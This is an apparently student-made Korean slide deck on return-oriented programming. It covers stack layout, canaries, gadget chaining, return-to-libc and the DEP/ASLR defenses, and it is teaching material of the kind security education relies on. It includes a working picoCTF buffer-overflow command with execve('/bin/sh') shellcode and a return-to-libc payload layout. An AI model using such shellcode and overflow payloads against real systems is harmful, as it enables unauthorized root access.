SlideShare a Scribd company logo
ROP
Return Oriented Programming
HeXA
발표자 소개
김동민
- HeXA 5기
- HeXA 회장, 해킹부장
- UNIST 15학번
http://github.com/rocky112358
rocky112358@gmail.com
http://fb.com/rocky112358
$면 좋고
#이면 더 좋고
시스템 해킹?
시스템에 접근해 해킹하는 것
시스템 해킹?
시스템에 접근해 해킹하는 것
= 취약점을 찾아내서 루트 권한을 얻는 것
rocky112358@HeXA:~$ user
시스템 해킹?
시스템에 접근해 해킹하는 것
= 취약점을 찾아내서 루트 권한을 얻는 것
rocky112358@HeXA:~$ user
root@HeXA:~# system admin
시스템 해킹?
시스템에 접근해 해킹하는 것
= 취약점을 찾아내서 루트 권한을 얻는 것
rocky112358@HeXA:~$ user
root@HeXA:~# system admin
시스템 해킹?
시스템에 접근해 해킹하는 것
= 취약점을 찾아내서 루트 권한을 얻는 것 system(“/bin/sh”)
execl(“/bin/sh”)
rocky112358@HeXA:~$ user
root@HeXA:~# system admin
시스템 해킹?
시스템에 접근해 해킹하는 것
= 취약점을 찾아내서 루트 권한을 얻는 것 system(“/bin/sh”)
execl(“/bin/sh”)
$
$
rocky112358@HeXA:~$ user
root@HeXA:~# system admin
시스템 해킹?
시스템에 접근해 해킹하는 것
= 취약점을 찾아내서 루트 권한을 얻는 것 system(“/bin/sh”)
execl(“/bin/sh”)
$
$ #
#
시스템 해킹!
Stack Corruption
Return to Library
Format String Attack
Return Oriented Programming
시스템 해킹!
Stack Corruption
Return to Library
Format String Attack
Return Oriented Programming
시스템 해킹!
Stack Corruption
Return to Library
Format String Attack
Return Oriented Programming
시스템 해킹!
Stack Corruption
Return to Library
Format String Attack
Return Oriented Programming
< EBP, ESPEBPEBP - 00x0804a0b0
0x0804a0ac
0x0804a0a8
0x0804a0a4
0x0804a0a0
0x0804a09c
0x0804a098
0x0804a094
0x0804a090
Stack
EBP < EBPEBP - 0
EBP - 4
EBP - 8 < ESP
0x0804a0b0
0x0804a0ac
0x0804a0a8
0x0804a0a4
0x0804a0a0
0x0804a09c
0x0804a098
0x0804a094
0x0804a090
Stack
EBP < EBPEBP - 0
EBP - 4
EBP - 8 < ESP
1
2
0x0804a0b0
0x0804a0ac
0x0804a0a8
0x0804a0a4
0x0804a0a0
0x0804a09c
0x0804a098
0x0804a094
0x0804a090
Stack
EBP < EBPEBP - 0
EBP - 4
EBP - 8 < ESP
1
2
0x0804a0b0
EAX 0x0804a0a8
0x0804a0ac
0x0804a0a8
0x0804a0a4
0x0804a0a0
0x0804a09c
0x0804a098
0x0804a094
0x0804a090
Stack
EBP < EBPEBP - 0
EBP - 4
EBP - 8
1
2
2EBP - 12
0x0804a0b0
< ESP
EAX 0x0804a0a8
0x0804a0ac
0x0804a0a8
0x0804a0a4
0x0804a0a0
0x0804a09c
0x0804a098
0x0804a094
0x0804a090
Stack
EBP < EBPEBP - 0
EBP - 4
EBP - 8
1
2
2EBP - 12
0x0804a0b0
< ESP
EAX 0x0804a0a8
ECX 0x0804a0ac
0x0804a0ac
0x0804a0a8
0x0804a0a4
0x0804a0a0
0x0804a09c
0x0804a098
0x0804a094
0x0804a090
Stack
EBP < EBPEBP - 0
EBP - 4
EBP - 8
1
2
2
1
EBP - 12
EBP - 16
0x0804a0b0
< ESP
EAX 0x0804a0a8
ECX 0x0804a0ac
0x0804a0ac
0x0804a0a8
0x0804a0a4
0x0804a0a0
0x0804a09c
0x0804a098
0x0804a094
0x0804a090
Stack
EBP
1
2
2
1
0x0804a0b0
0x0804a0b0 < EBPEBP - 0
EAX 0x0804a0a8
ECX 0x0804a0ac
0x0804a0ac
0x0804a0a8
0x0804a0a4
0x0804a0a0
saved EIP (12)0x0804a09c
0x0804a098
0x0804a094
0x0804a090
Stack
EBP
1
2
2
1
0x0804a0b0
0x0804a0b0 < EBPEBP - 0
EBP + 4
EBP + 8
EAX 0x0804a0a8
ECX 0x0804a0ac
0x0804a0ac
0x0804a0a8
0x0804a0a4
0x0804a0a0
saved EIP (12)
EBP + 12
0x0804a09c
0x0804a098
0x0804a094
0x0804a090
Stack
EBP
1
2
2
1
0x0804a0b0
0x0804a0b0EBP - 0
EBP + 4
EBP + 8
EAX 0x0804a0a8
ECX 0x0804a0ac
0x0804a0ac
0x0804a0a8
EBP - 4
EBP - 8
0x0804a0a4
0x0804a0a0
< EBP
saved EIP (12)
EBP + 12
0x0804a09c
0x0804a098
0x0804a094
0x0804a090
Stack
EBP
1
2
2
1
0x0804a0b0
0x0804a0b0EBP - 0
EBP + 4
EBP + 8
ECX 0x0804a0ac
0x0804a0ac
0x0804a0a8
EBP - 4
EBP - 8
0x0804a0a4
0x0804a0a0
< EBP
EAX 0x0804a0a4
saved EIP (12)
EBP + 12
0x0804a09c
0x0804a098
0x0804a094
0x0804a090
Stack
EBP
1
2
2
1
0x0804a0b0
0x0804a0b0EBP - 0
EBP + 4
EBP + 8
ECX 0x0804a0ac
0x0804a0ac
0x0804a0a8
EBP - 4
EBP - 8
< ESP
0x0804a0a4
0x0804a0a0
< EBP
EAX 0x0804a0a4
saved EIP (12)
EBP + 12
2
0x0804a09c
0x0804a098
0x0804a094
0x0804a090
Stack
EBP
1
2
2
1
0x0804a0b0
0x0804a0b0EBP - 0
EBP + 4
EBP + 8
0x0804a0ac
0x0804a0a8
EBP - 4
EBP - 8
< ESP
0x0804a0a4
0x0804a0a0
< EBP
EAX 0x0804a0a4
saved EIP (12)
EBP + 12
ECX 0x0804a0a0
2
0x0804a09c
0x0804a098
0x0804a094
0x0804a090
Stack
EBP
1
2
2
1
0x0804a0b0
0x0804a0b0EBP - 0
EBP + 4
EBP + 8
0x0804a0ac
0x0804a0a8
EBP - 4
EBP - 8
0x0804a0a4
0x0804a0a0
< EBP
EAX 0x0804a0a4
saved EIP (12)
EBP + 12
ECX 0x0804a0a0
2
1 < ESP
0x0804a09c
0x0804a098
0x0804a094
0x0804a090
Stack
EBP
1
2
2
1
0x0804a0b0
0x0804a0b0EBP - 0
EBP + 4
EBP + 8
0x0804a0ac
0x0804a0a8
EBP - 4
EBP - 8
0x0804a0a4
0x0804a0a0
< EBP
saved EIP (12)
EBP + 12
ECX 0x0804a0a0
2
1 < ESP
0x0804a09c
0x0804a098
0x0804a094
0x0804a090
EAX 0x0804a090
Stack
EBP
1
2
2
1
0x0804a0b0
0x0804a0b0EBP - 0
EBP + 4
EBP + 8
0x0804a0ac
0x0804a0a8
EBP - 4
EBP - 8
0x0804a0a4
0x0804a0a0
< EBP
saved EIP (12)
EBP + 12
ECX 0x0804a0a0
2
< ESP
0x0804a09c
0x0804a098
0x0804a094
0x0804a090
EAX 0x0804a090
3
Stack
< EBP, ESPEBPEBP - 00x0804a0b0
0x0804a0ac
0x0804a0a8
0x0804a0a4
0x0804a0a0
0x0804a09c
0x0804a098
0x0804a094
0x0804a090
Stack
< EBP, ESPEBPEBP - 00x0804a0b0
0x0804a0ac
0x0804a0a8
0x0804a0a4
0x0804a0a0
0x0804a09c
0x0804a098
0x0804a094
0x0804a090
Stack
< EBP, ESPEBPEBP - 00x0804a0b0
0x0804a0ac
0x0804a0a8
0x0804a0a4
0x0804a0a0
0x0804a09c
0x0804a098
0x0804a094
0x0804a090
Stack
EBP < EBPEBP - 0
EBP - 4
EBP - 8 < ESP
0x0804a0b0
0x0804a0ac
0x0804a0a8
0x0804a0a4
0x0804a0a0
0x0804a09c
0x0804a098
0x0804a094
0x0804a090
Stack
EBP < EBPEBP - 0
EBP - 4
EBP - 8 < ESP
1
2
0x0804a0b0
0x0804a0ac
0x0804a0a8
0x0804a0a4
0x0804a0a0
0x0804a09c
0x0804a098
0x0804a094
0x0804a090
Stack
EBP < EBPEBP - 0
EBP - 4
EBP - 8 < ESP
1
2
0x0804a0b0
EAX 0x0804a0a8
0x0804a0ac
0x0804a0a8
0x0804a0a4
0x0804a0a0
0x0804a09c
0x0804a098
0x0804a094
0x0804a090
Stack
EBP < EBPEBP - 0
EBP - 4
EBP - 8
1
2
2EBP - 12
0x0804a0b0
< ESP
EAX 0x0804a0a8
0x0804a0ac
0x0804a0a8
0x0804a0a4
0x0804a0a0
0x0804a09c
0x0804a098
0x0804a094
0x0804a090
Stack
EBP < EBPEBP - 0
EBP - 4
EBP - 8
1
2
2EBP - 12
0x0804a0b0
< ESP
EAX 0x0804a0a8
ECX 0x0804a0ac
0x0804a0ac
0x0804a0a8
0x0804a0a4
0x0804a0a0
0x0804a09c
0x0804a098
0x0804a094
0x0804a090
Stack
EBP < EBPEBP - 0
EBP - 4
EBP - 8
1
2
2
1
EBP - 12
EBP - 16
0x0804a0b0
< ESP
EAX 0x0804a0a8
ECX 0x0804a0ac
0x0804a0ac
0x0804a0a8
0x0804a0a4
0x0804a0a0
0x0804a09c
0x0804a098
0x0804a094
0x0804a090
Stack
EBP
1
2
2
1
0x0804a0b0
0x0804a0b0 < EBPEBP - 0
EAX 0x0804a0a8
ECX 0x0804a0ac
0x0804a0ac
0x0804a0a8
0x0804a0a4
0x0804a0a0
saved EIP (12)0x0804a09c
0x0804a098
0x0804a094
0x0804a090
Stack
EBP
1
2
2
1
0x0804a0b0
0x0804a0b0 < EBPEBP - 0
EBP + 4
EBP + 8
EAX 0x0804a0a8
ECX 0x0804a0ac
0x0804a0ac
0x0804a0a8
0x0804a0a4
0x0804a0a0
saved EIP (12)
EBP + 12
0x0804a09c
0x0804a098
0x0804a094
0x0804a090
Stack
EBP
1
2
2
1
0x0804a0b0
0x0804a0b0EBP - 0
EBP + 4
EBP + 8
EAX 0x0804a0a8
ECX 0x0804a0ac
0x0804a0ac
0x0804a0a8
EBP - 4
EBP - 8
0x0804a0a4
0x0804a0a0
< EBP
saved EIP (12)
EBP + 12
0x0804a09c
0x0804a098
0x0804a094
0x0804a090
Stack
EBP
1
2
2
1
0x0804a0b0
0x0804a0b0EBP - 0
EBP + 4
EBP + 8
ECX 0x0804a0ac
0x0804a0ac
0x0804a0a8
EBP - 4
EBP - 8
0x0804a0a4
0x0804a0a0
< EBP
EAX 0x0804a0a4
saved EIP (12)
EBP + 12
0x0804a09c
0x0804a098
0x0804a094
0x0804a090
Stack
EBP
1
2
2
1
0x0804a0b0
0x0804a0b0EBP - 0
EBP + 4
EBP + 8
ECX 0x0804a0ac
0x0804a0ac
0x0804a0a8
EBP - 4
EBP - 8
< ESP
0x0804a0a4
0x0804a0a0
< EBP
EAX 0x0804a0a4
saved EIP (12)
EBP + 12
2
0x0804a09c
0x0804a098
0x0804a094
0x0804a090
Stack
EBP
1
2
2
1
0x0804a0b0
0x0804a0b0EBP - 0
EBP + 4
EBP + 8
0x0804a0ac
0x0804a0a8
EBP - 4
EBP - 8
< ESP
0x0804a0a4
0x0804a0a0
< EBP
EAX 0x0804a0a4
saved EIP (12)
EBP + 12
ECX 0x0804a0a0
2
0x0804a09c
0x0804a098
0x0804a094
0x0804a090
Stack
EBP
1
2
2
1
0x0804a0b0
0x0804a0b0EBP - 0
EBP + 4
EBP + 8
0x0804a0ac
0x0804a0a8
EBP - 4
EBP - 8
0x0804a0a4
0x0804a0a0
< EBP
EAX 0x0804a0a4
saved EIP (12)
EBP + 12
ECX 0x0804a0a0
2
1 < ESP
0x0804a09c
0x0804a098
0x0804a094
0x0804a090
Stack
EBP
1
2
2
1
0x0804a0b0
0x0804a0b0EBP - 0
EBP + 4
EBP + 8
0x0804a0ac
0x0804a0a8
EBP - 4
EBP - 8
0x0804a0a4
0x0804a0a0
< EBP
saved EIP (12)
EBP + 12
ECX 0x0804a0a0
2
1 < ESP
0x0804a09c
0x0804a098
0x0804a094
0x0804a090
EAX 0x0804a090
Stack
EBP
1
2
2
1
0x0804a0b0
0x0804a0b0EBP - 0
EBP + 4
EBP + 8
0x0804a0ac
0x0804a0a8
EBP - 4
EBP - 8
0x0804a0a4
0x0804a0a0
< EBP
saved EIP (12)
EBP + 12
ECX 0x0804a0a0
2
< ESP
0x0804a09c
0x0804a098
0x0804a094
0x0804a090
EAX 0x0804a090
3
Stack
EBP + 4
EBP + 8
EBP + 12
EBP
1
2
2
1
0x0804a0b0
0x0804a0b0EBP - 0
0x0804a0ac
0x0804a0a8
EBP - 4
EBP - 8
0x0804a0a4
0x0804a0a0
< EBP
saved EIP (12)
ECX 0x0804a0a0
2
< ESP
0x0804a09c
0x0804a098
0x0804a094
0x0804a090
EAX 0x0804a090
3
Stack
EBP - 12
EBP - 16
EBP - 20
EBP
1
2
2
1
0x0804a0b0
0x0804a0b0
0x0804a0ac
0x0804a0a8
0x0804a0a4
0x0804a0a0
saved EIP (12)
ECX 0x0804a0a0
2
0x0804a09c
0x0804a098
0x0804a094
0x0804a090
EAX 0x0804a090
3
< EBP
< ESP
EBP - 0
EBP - 4
EBP - 8
Stack
EBP - 12
EBP - 16
EBP - 20
EBP
1
2
2
1
0x0804a0b0
0x0804a0b0
0x0804a0ac
0x0804a0a8
0x0804a0a4
0x0804a0a0
saved EIP (12)
ECX 0x0804a0a0
2
0x0804a09c
0x0804a098
0x0804a094
0x0804a090
EAX 0x0804a090
3
< EBPEBP - 0
EBP - 4
EBP - 8
< ESP
Stack
EBP - 12
EBP - 16
EBP - 20
EBP
1
2
2
1
0x0804a0b0
0x0804a0b0
0x0804a0ac
0x0804a0a8
0x0804a0a4
0x0804a0a0
saved EIP (12)
ECX 0x0804a0a0
2
0x0804a09c
0x0804a098
0x0804a094
0x0804a090
EAX 0x0804a090
3
< EBPEBP - 0
EBP - 4
EBP - 8 < ESP
Stack
EBP - 12
EBP - 16
EBP - 20
EBP
1
2
1
0x0804a0b0
0x0804a0b0
0x0804a0ac
0x0804a0a8
0x0804a0a4
0x0804a0a0
saved EIP (12)
ECX 0x0804a0a0
2
0x0804a09c
0x0804a098
0x0804a094
0x0804a090
EAX 0x0804a090
3
< EBPEBP - 0
EBP - 4
EBP - 8 < ESP
“%dn”
Stack
EBP - 12
EBP - 16
EBP - 20
EBP
1
2
0x0804a0b0
0x0804a0b0
0x0804a0ac
0x0804a0a8
0x0804a0a4
0x0804a0a0
saved EIP (12)
ECX 0x0804a0a0
2
0x0804a09c
0x0804a098
0x0804a094
0x0804a090
EAX 0x0804a090
3
< EBPEBP - 0
EBP - 4
EBP - 8 < ESP
“%dn”
call printf
Stack
Stack
지역 변수
함수 파라미터
리턴 값
다음에 실행될 명령의 위치
저장된 EBP
…
• https://picoctf.com/problem-
static/binary/Overflow1/overflow1.html
Example
Blocked!
Canary
이미지 출처: http://www.jones-seed.com/wp-
content/uploads/2014/11/CanariesOnBranches.png
Return Oriented Programming
Gadget
이미지 출처 : http://cfile7.uf.tistory.com/image/236F684151F6600107BA70
Gadget
https://github.com/JonathanSalwan/ROPgadget/tree/master
http://ropshell.com/ropsearch?h=5d63b69dccbd0d46bcf3e559bf79b4a7
0x01010101
0x02020202
0x03030303
0x04040404
Chaining Gadget
https://github.com/JonathanSalwan/ROPgadget/tree/master
http://ropshell.com/ropsearch?h=5d63b69dccbd0d46bcf3e559bf79b4a7
0x01010101
0x02020202
0x03030303
0x04040404
Chaining Gadget
https://github.com/JonathanSalwan/ROPgadget/tree/master
http://ropshell.com/ropsearch?h=5d63b69dccbd0d46bcf3e559bf79b4a7
0x01010101
0x02020202
0x03030303
0x04040404
0x02020202
0x04040404
0x01010101
0x03030303
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
…
Stack
< ESP
Chaining Gadget
https://github.com/JonathanSalwan/ROPgadget/tree/master
http://ropshell.com/ropsearch?h=5d63b69dccbd0d46bcf3e559bf79b4a7
0x01010101
0x02020202
0x03030303
0x04040404
0x02020202
0x04040404
0x01010101
0x03030303
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
…
Stack
< ESP
EIP 0x02020202
Chaining Gadget
https://github.com/JonathanSalwan/ROPgadget/tree/master
http://ropshell.com/ropsearch?h=5d63b69dccbd0d46bcf3e559bf79b4a7
0x01010101
0x02020202
0x03030303
0x04040404
0x02020202
0x04040404
0x01010101
0x03030303
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
…
Stack
< ESP
< EIP
EIP 0x02020202
Chaining Gadget
https://github.com/JonathanSalwan/ROPgadget/tree/master
http://ropshell.com/ropsearch?h=5d63b69dccbd0d46bcf3e559bf79b4a7
0x01010101
0x02020202
0x03030303
0x04040404
0x02020202
0x04040404
0x01010101
0x03030303
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
…
Stack
< ESP
< EIP
EIP 0x02020202
Chaining Gadget
https://github.com/JonathanSalwan/ROPgadget/tree/master
http://ropshell.com/ropsearch?h=5d63b69dccbd0d46bcf3e559bf79b4a7
0x01010101
0x02020202
0x03030303
0x04040404
0x02020202
0x04040404
0x01010101
0x03030303
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
…
Stack
< ESP
< EIP
EIP 0x04040404
Chaining Gadget
https://github.com/JonathanSalwan/ROPgadget/tree/master
http://ropshell.com/ropsearch?h=5d63b69dccbd0d46bcf3e559bf79b4a7
0x01010101
0x02020202
0x03030303
0x04040404
0x02020202
0x04040404
0x01010101
0x03030303
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
…
Stack
< ESP
< EIP
EIP 0x04040404
Chaining Gadget
https://github.com/JonathanSalwan/ROPgadget/tree/master
http://ropshell.com/ropsearch?h=5d63b69dccbd0d46bcf3e559bf79b4a7
0x01010101
0x02020202
0x03030303
0x04040404
0x02020202
0x04040404
0x01010101
0x03030303
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
…
Stack
< ESP
< EIP
EIP 0x04040404
Chaining Gadget
https://github.com/JonathanSalwan/ROPgadget/tree/master
http://ropshell.com/ropsearch?h=5d63b69dccbd0d46bcf3e559bf79b4a7
0x01010101
0x02020202
0x03030303
0x04040404
0x02020202
0x04040404
0x01010101
0x03030303
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
…
Stack
< ESP
< EIP
EIP 0x01010101
Chaining Gadget
https://github.com/JonathanSalwan/ROPgadget/tree/master
http://ropshell.com/ropsearch?h=5d63b69dccbd0d46bcf3e559bf79b4a7
0x01010101
0x02020202
0x03030303
0x04040404
0x02020202
0x04040404
0x01010101
0x03030303
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
…
Stack
< ESP
< EIP
EIP 0x01010101
Chaining Gadget
https://github.com/JonathanSalwan/ROPgadget/tree/master
http://ropshell.com/ropsearch?h=5d63b69dccbd0d46bcf3e559bf79b4a7
0x01010101
0x02020202
0x03030303
0x04040404
0x02020202
0x04040404
0x01010101
0x03030303
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
…
Stack
< ESP
< EIP
EIP 0x01010101
Chaining Gadget
https://github.com/JonathanSalwan/ROPgadget/tree/master
http://ropshell.com/ropsearch?h=5d63b69dccbd0d46bcf3e559bf79b4a7
0x01010101
0x02020202
0x03030303
0x04040404
0x02020202
0x04040404
0x01010101
0x03030303
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
…
Stack
< ESP
< EIP
EIP 0x03030303
Chaining Gadget
https://github.com/JonathanSalwan/ROPgadget/tree/master
http://ropshell.com/ropsearch?h=5d63b69dccbd0d46bcf3e559bf79b4a7
0x01010101
0x02020202
0x03030303
0x04040404
0x02020202
0x04040404
0x01010101
0x03030303
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
…
Stack
< ESP
< EIP
EIP 0x03030303
Chaining Gadget
https://github.com/JonathanSalwan/ROPgadget/tree/master
http://ropshell.com/ropsearch?h=5d63b69dccbd0d46bcf3e559bf79b4a7
0x01010101
0x02020202
0x03030303
0x04040404
0x02020202
0x04040404
0x01010101
0x03030303
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
…
Stack
< ESP
< EIP
exit(0)
EIP 0x03030303
argv[1] A*20
Return to libc
< EBP
Saved EBP
Saved EIP
…
…
argv[1] A*20
Return to libc
< EBP
AAAA
AAAA
AAAA
AAAA
AAAA
Saved EBP
Saved EIP
…
…
argv[1] A*20
Return to libc
< EBP
AAAA
AAAA
AAAA
AAAA
AAAA
Saved EBP
Saved EIP
…
…
AAAA
AAAAargv[1] A*28
Return to libc
< EBP
AAAA
AAAA
AAAA
AAAA
AAAA
Saved EBP
Saved EIP
…
…
AAAA
AAAAargv[1] A*28
Return to libc
system(“/bin/sh”);
< EBP
AAAA
AAAA
AAAA
AAAA
AAAA
Saved EBP
Saved EIP
…
…
AAAA
&system()
AAAA
&“/bin/sh”
Return to libc
argv[1] A*24 + &system()
+ “AAAA” + &”/bin/sh”
system(“/bin/sh”);
< EBP
AAAA
AAAA
AAAA
AAAA
AAAA
Saved EBP
Saved EIP
…
…
AAAA
&system()
AAAA
&“/bin/sh”
Return to libc
argv[1] A*24 + &system()
+ “AAAA” + &”/bin/sh”
system(“/bin/sh”);
< EBP
< EBP+8
AAAA
AAAA
AAAA
AAAA
AAAA
Saved EBP
Saved EIP
…
…
AAAA
&system()
AAAA
&“/bin/sh”
Return to libc
argv[1] A*24 + &system()
+ “AAAA” + &”/bin/sh”
system(“/bin/sh”);$
< EBP
< EBP+8
&system()? &“/bin/sh”?
./env SHELL
https://picoctf.com/problems
- ROP1
EAX
Example
A*76 Saved EIP
https://picoctf.com/problems
- ROP1
EAX
Example
./rop1 $(python -c 'print "x31xc9xf7xe1xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"
+ "A"*55 + "x86x8dx04x08" ' )
A*76 Saved EIP
https://picoctf.com/problems
- ROP1
EAX
Example
./rop1 $(python -c 'print "x31xc9xf7xe1xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"
+ "A"*55 + "x86x8dx04x08" ' )
A*76 Saved EIP
https://picoctf.com/problems
- ROP1
EAX execve(“/bin/sh”)
Example
./rop1 $(python -c 'print "x31xc9xf7xe1xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"
+ "A"*55 + "x86x8dx04x08" ' )
A*76 Saved EIP
https://picoctf.com/problems
- ROP1
EAX execve(“/bin/sh”)
Example
./rop1 $(python -c 'print "x31xc9xf7xe1xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"
+ "A"*55 + "x86x8dx04x08" ' )
A*76 Saved EIPShellcode A*55 0x08048d86
https://picoctf.com/problems
- ROP1
EAX execve(“/bin/sh”)
$
Example
./rop1 $(python -c 'print "x31xc9xf7xe1xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"
+ "A"*55 + "x86x8dx04x08" ' )
A*76 Saved EIPShellcode A*55 0x08048d86
Defense...!
DEP
Data Execution Prevention
Defense...!
ASLR
Address space layout randomization
참고 사이트
http://shayete.tistory.com/entry/1-시스템-해킹이란-linux-기초명령어-vim-명령어-사용법
https://www.exploit-db.com/docs/28553.pdf
http://shayete.tistory.com/entry/4-Return-to-Library-RTL
감사합니다.

More Related Content

Similar to Return Oriented Programming

How the stack works(1)
How the stack works(1)How the stack works(1)
How the stack works(1)
keithrozario
 
20190521 pwn 101_by_roy
20190521 pwn 101_by_roy20190521 pwn 101_by_roy
20190521 pwn 101_by_roy
Roy
 
NTUSTxTDOH 資訊安全基礎工作坊 基礎逆向教育訓練
NTUSTxTDOH 資訊安全基礎工作坊 基礎逆向教育訓練NTUSTxTDOH 資訊安全基礎工作坊 基礎逆向教育訓練
NTUSTxTDOH 資訊安全基礎工作坊 基礎逆向教育訓練
Sheng-Hao Ma
 
Mona cheatsheet
Mona cheatsheetMona cheatsheet
Mona cheatsheet
Ce.Se.N.A. Security
 
NTUSTxTDOH - Pwn基礎 2015/12/27
NTUSTxTDOH - Pwn基礎 2015/12/27NTUSTxTDOH - Pwn基礎 2015/12/27
NTUSTxTDOH - Pwn基礎 2015/12/27
Sheng-Hao Ma
 
DEF CON 23 - CHRIS DOMAS - REpsych
DEF CON 23 - CHRIS DOMAS - REpsychDEF CON 23 - CHRIS DOMAS - REpsych
DEF CON 23 - CHRIS DOMAS - REpsych
Felipe Prado
 
Heap Base Exploitation
Heap Base ExploitationHeap Base Exploitation
Heap Base Exploitation
UTD Computer Security Group
 
Scale17x buffer overflows
Scale17x buffer overflowsScale17x buffer overflows
Scale17x buffer overflows
johseg
 
Advanced Techniques: Size | Pebble Developer Retreat 2014
Advanced Techniques: Size | Pebble Developer Retreat 2014Advanced Techniques: Size | Pebble Developer Retreat 2014
Advanced Techniques: Size | Pebble Developer Retreat 2014
Pebble Technology
 
X86 assembly & GDB
X86 assembly & GDBX86 assembly & GDB
X86 assembly & GDB
Jian-Yu Li
 
ROP 輕鬆談
ROP 輕鬆談ROP 輕鬆談
ROP 輕鬆談
hackstuff
 

Similar to Return Oriented Programming (11)

How the stack works(1)
How the stack works(1)How the stack works(1)
How the stack works(1)
 
20190521 pwn 101_by_roy
20190521 pwn 101_by_roy20190521 pwn 101_by_roy
20190521 pwn 101_by_roy
 
NTUSTxTDOH 資訊安全基礎工作坊 基礎逆向教育訓練
NTUSTxTDOH 資訊安全基礎工作坊 基礎逆向教育訓練NTUSTxTDOH 資訊安全基礎工作坊 基礎逆向教育訓練
NTUSTxTDOH 資訊安全基礎工作坊 基礎逆向教育訓練
 
Mona cheatsheet
Mona cheatsheetMona cheatsheet
Mona cheatsheet
 
NTUSTxTDOH - Pwn基礎 2015/12/27
NTUSTxTDOH - Pwn基礎 2015/12/27NTUSTxTDOH - Pwn基礎 2015/12/27
NTUSTxTDOH - Pwn基礎 2015/12/27
 
DEF CON 23 - CHRIS DOMAS - REpsych
DEF CON 23 - CHRIS DOMAS - REpsychDEF CON 23 - CHRIS DOMAS - REpsych
DEF CON 23 - CHRIS DOMAS - REpsych
 
Heap Base Exploitation
Heap Base ExploitationHeap Base Exploitation
Heap Base Exploitation
 
Scale17x buffer overflows
Scale17x buffer overflowsScale17x buffer overflows
Scale17x buffer overflows
 
Advanced Techniques: Size | Pebble Developer Retreat 2014
Advanced Techniques: Size | Pebble Developer Retreat 2014Advanced Techniques: Size | Pebble Developer Retreat 2014
Advanced Techniques: Size | Pebble Developer Retreat 2014
 
X86 assembly & GDB
X86 assembly & GDBX86 assembly & GDB
X86 assembly & GDB
 
ROP 輕鬆談
ROP 輕鬆談ROP 輕鬆談
ROP 輕鬆談
 

Recently uploaded

Y-Combinator seed pitch deck template PP
Y-Combinator seed pitch deck template PPY-Combinator seed pitch deck template PP
Y-Combinator seed pitch deck template PP
c5vrf27qcz
 
Northern Engraving | Nameplate Manufacturing Process - 2024
Northern Engraving | Nameplate Manufacturing Process - 2024Northern Engraving | Nameplate Manufacturing Process - 2024
Northern Engraving | Nameplate Manufacturing Process - 2024
Northern Engraving
 
Dandelion Hashtable: beyond billion requests per second on a commodity server
Dandelion Hashtable: beyond billion requests per second on a commodity serverDandelion Hashtable: beyond billion requests per second on a commodity server
Dandelion Hashtable: beyond billion requests per second on a commodity server
Antonios Katsarakis
 
A Deep Dive into ScyllaDB's Architecture
A Deep Dive into ScyllaDB's ArchitectureA Deep Dive into ScyllaDB's Architecture
A Deep Dive into ScyllaDB's Architecture
ScyllaDB
 
PRODUCT LISTING OPTIMIZATION PRESENTATION.pptx
PRODUCT LISTING OPTIMIZATION PRESENTATION.pptxPRODUCT LISTING OPTIMIZATION PRESENTATION.pptx
PRODUCT LISTING OPTIMIZATION PRESENTATION.pptx
christinelarrosa
 
"Frontline Battles with DDoS: Best practices and Lessons Learned", Igor Ivaniuk
"Frontline Battles with DDoS: Best practices and Lessons Learned",  Igor Ivaniuk"Frontline Battles with DDoS: Best practices and Lessons Learned",  Igor Ivaniuk
"Frontline Battles with DDoS: Best practices and Lessons Learned", Igor Ivaniuk
Fwdays
 
Columbus Data & Analytics Wednesdays - June 2024
Columbus Data & Analytics Wednesdays - June 2024Columbus Data & Analytics Wednesdays - June 2024
Columbus Data & Analytics Wednesdays - June 2024
Jason Packer
 
Nordic Marketo Engage User Group_June 13_ 2024.pptx
Nordic Marketo Engage User Group_June 13_ 2024.pptxNordic Marketo Engage User Group_June 13_ 2024.pptx
Nordic Marketo Engage User Group_June 13_ 2024.pptx
MichaelKnudsen27
 
Demystifying Knowledge Management through Storytelling
Demystifying Knowledge Management through StorytellingDemystifying Knowledge Management through Storytelling
Demystifying Knowledge Management through Storytelling
Enterprise Knowledge
 
Session 1 - Intro to Robotic Process Automation.pdf
Session 1 - Intro to Robotic Process Automation.pdfSession 1 - Intro to Robotic Process Automation.pdf
Session 1 - Intro to Robotic Process Automation.pdf
UiPathCommunity
 
What is an RPA CoE? Session 1 – CoE Vision
What is an RPA CoE?  Session 1 – CoE VisionWhat is an RPA CoE?  Session 1 – CoE Vision
What is an RPA CoE? Session 1 – CoE Vision
DianaGray10
 
Skybuffer SAM4U tool for SAP license adoption
Skybuffer SAM4U tool for SAP license adoptionSkybuffer SAM4U tool for SAP license adoption
Skybuffer SAM4U tool for SAP license adoption
Tatiana Kojar
 
GNSS spoofing via SDR (Criptored Talks 2024)
GNSS spoofing via SDR (Criptored Talks 2024)GNSS spoofing via SDR (Criptored Talks 2024)
GNSS spoofing via SDR (Criptored Talks 2024)
Javier Junquera
 
Taking AI to the Next Level in Manufacturing.pdf
Taking AI to the Next Level in Manufacturing.pdfTaking AI to the Next Level in Manufacturing.pdf
Taking AI to the Next Level in Manufacturing.pdf
ssuserfac0301
 
How to Interpret Trends in the Kalyan Rajdhani Mix Chart.pdf
How to Interpret Trends in the Kalyan Rajdhani Mix Chart.pdfHow to Interpret Trends in the Kalyan Rajdhani Mix Chart.pdf
How to Interpret Trends in the Kalyan Rajdhani Mix Chart.pdf
Chart Kalyan
 
